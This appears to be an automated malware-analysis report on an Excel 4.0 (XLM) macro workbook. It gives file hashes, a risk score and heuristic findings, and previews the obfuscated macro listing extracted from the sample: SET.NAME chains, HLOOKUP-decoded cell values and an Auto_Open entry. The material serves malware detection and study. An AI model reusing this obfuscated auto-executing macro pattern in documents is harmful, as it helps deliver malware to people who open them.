Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 772ce5d67e1d7c0f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:23 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 1751edbae9f49aa91dbea4b19833077b SHA-1: f6a1c9abb5d1480281a9baa7955da896014380c5 SHA-256: 772ce5d67e1d7c0f9d797d9e66a81d493e61f8be626552200102e8e36a6cdcab
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6656 bytes
SHA-256: 4c780c11fa34c7c9c5c646d769596d213cca044bc760469d66217186f119c041
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  odifOC
' 0018     27 LABEL : Cell Value, String Constant - aBowEaqnrQBy len=0 
' 0018     20 LABEL : Cell Value, String Constant - aezKV len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A160 
' 0018     24 LABEL : Cell Value, String Constant - exDEIrMdk len=0 
' 0018     27 LABEL : Cell Value, String Constant - GNuLqVhfskGL len=0 
' 0018     22 LABEL : Cell Value, String Constant - KfDlbYM len=0 
' 0018     25 LABEL : Cell Value, String Constant - MrHckYlqPy len=0 
' 0018     24 LABEL : Cell Value, String Constant - nfOVWhIiW len=0 
' 0018     24 LABEL : Cell Value, String Constant - nnUfsqpNv len=0 
' 0018     22 LABEL : Cell Value, String Constant - oRrIFKz len=0 
' 0018     22 LABEL : Cell Value, String Constant - pwQJgGU len=0 
' 0018     22 LABEL : Cell Value, String Constant - PwrTaxT len=0 
' 0018     25 LABEL : Cell Value, String Constant - QQGoiYoBhu len=0 
' 0018     20 LABEL : Cell Value, String Constant - rdgfH len=0 
' 0018     25 LABEL : Cell Value, String Constant - RQJLdvCQMf len=0 
' 0018     25 LABEL : Cell Value, String Constant - TTThgpUoYw len=0 
' 0018     22 LABEL : Cell Value, String Constant - uwErTXF len=0 
' 0018     25 LABEL : Cell Value, String Constant - VDNezHBTHd len=0 
' 0018     23 LABEL : Cell Value, String Constant - WLOLxyUD len=0 
' 0018     20 LABEL : Cell Value, String Constant - XUnJu len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZPWdZq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  odifOC,A69,"SET.NAME("exDEIrMdk",0+VALUE("0"))",""
'  odifOC,A74,"SET.NAME("ZPWdZq",exDEIrMdk)",""
'  odifOC,A77,"SET.NAME("aBowEaqnrQBy",exDEIrMdk)",""
'  odifOC,A79,"SET.NAME("WLOLxyUD",COUNTA(RQJLdvCQMf))",""
'  odifOC,A82,"SET.NAME("VDNezHBTHd",COUNTA(uwErTXF))",""
'  odifOC,A85,[],""
'  odifOC,A88,"SET.NAME("PwrTaxT","")",""
'  odifOC,A93,"ZPWdZq",""
'  odifOC,A96,"SET.NAME("oRrIFKz",HLOOKUP("*",RQJLdvCQMf,ZPWdZq,FALSE))",""
'  odifOC,A99,"GNuLqVhfskGL",""
'  odifOC,P99,"",471.00000000000000000000
'  odifOC,P100,"",-554.00000000000000000000
'  odifOC,A101,"SET.NAME("nfOVWhIiW",exDEIrMdk)",""
'  odifOC,P101,"",-561.00000000000000000000
'  odifOC,P102,"",-330.00000000000000000000
'  odifOC,P103,"",-305.00000000000000000000
'  odifOC,A104,[],""
'  odifOC,P104,"",199.00000000000000000000
'  odifOC,A109,"nfOVWhIiW",""
'  odifOC,A114,"MrHckYlqPy",""
'  odifOC,A118,"XUnJu",""
'  odifOC,A121,"rdgfH",""
'  odifOC,A125,"SET.NAME("QQGoiYoBhu",VALUE(HLOOKUP("*",uwErTXF,rdgfH,FALSE)))",""
'  odifOC,A127,"KfDlbYM",""
'  odifOC,A131,"PwrTaxT",""
'  odifOC,A134,"aBowEaqnrQBy",""
'  odifOC,A138,NEXT(),""
'  odifOC,A143,"nnUfsqpNv",""
'  odifOC,A147,[],""
'  odifOC,A150,"aezKV",""
'  odifOC,A155,NEXT(),""
'  odifOC,A158,RETURN(),""
'  odifOC,A190,"SET.NAME("pwQJgGU",A69)",""
'  odifOC,A195,"RQJLdvCQMf",""
'  odifOC,A197,"SET.NAME("uwErTXF",R96C14)",""
'  odifOC,A201,"SET.NAME("aezKV",212)",""
'  odifOC,A206,"SET.NAME("TTThgpUoYw",1)",""
'  odifOC,A211,pwQJgGU(),""
'  odifOC,A212,HALT(),""

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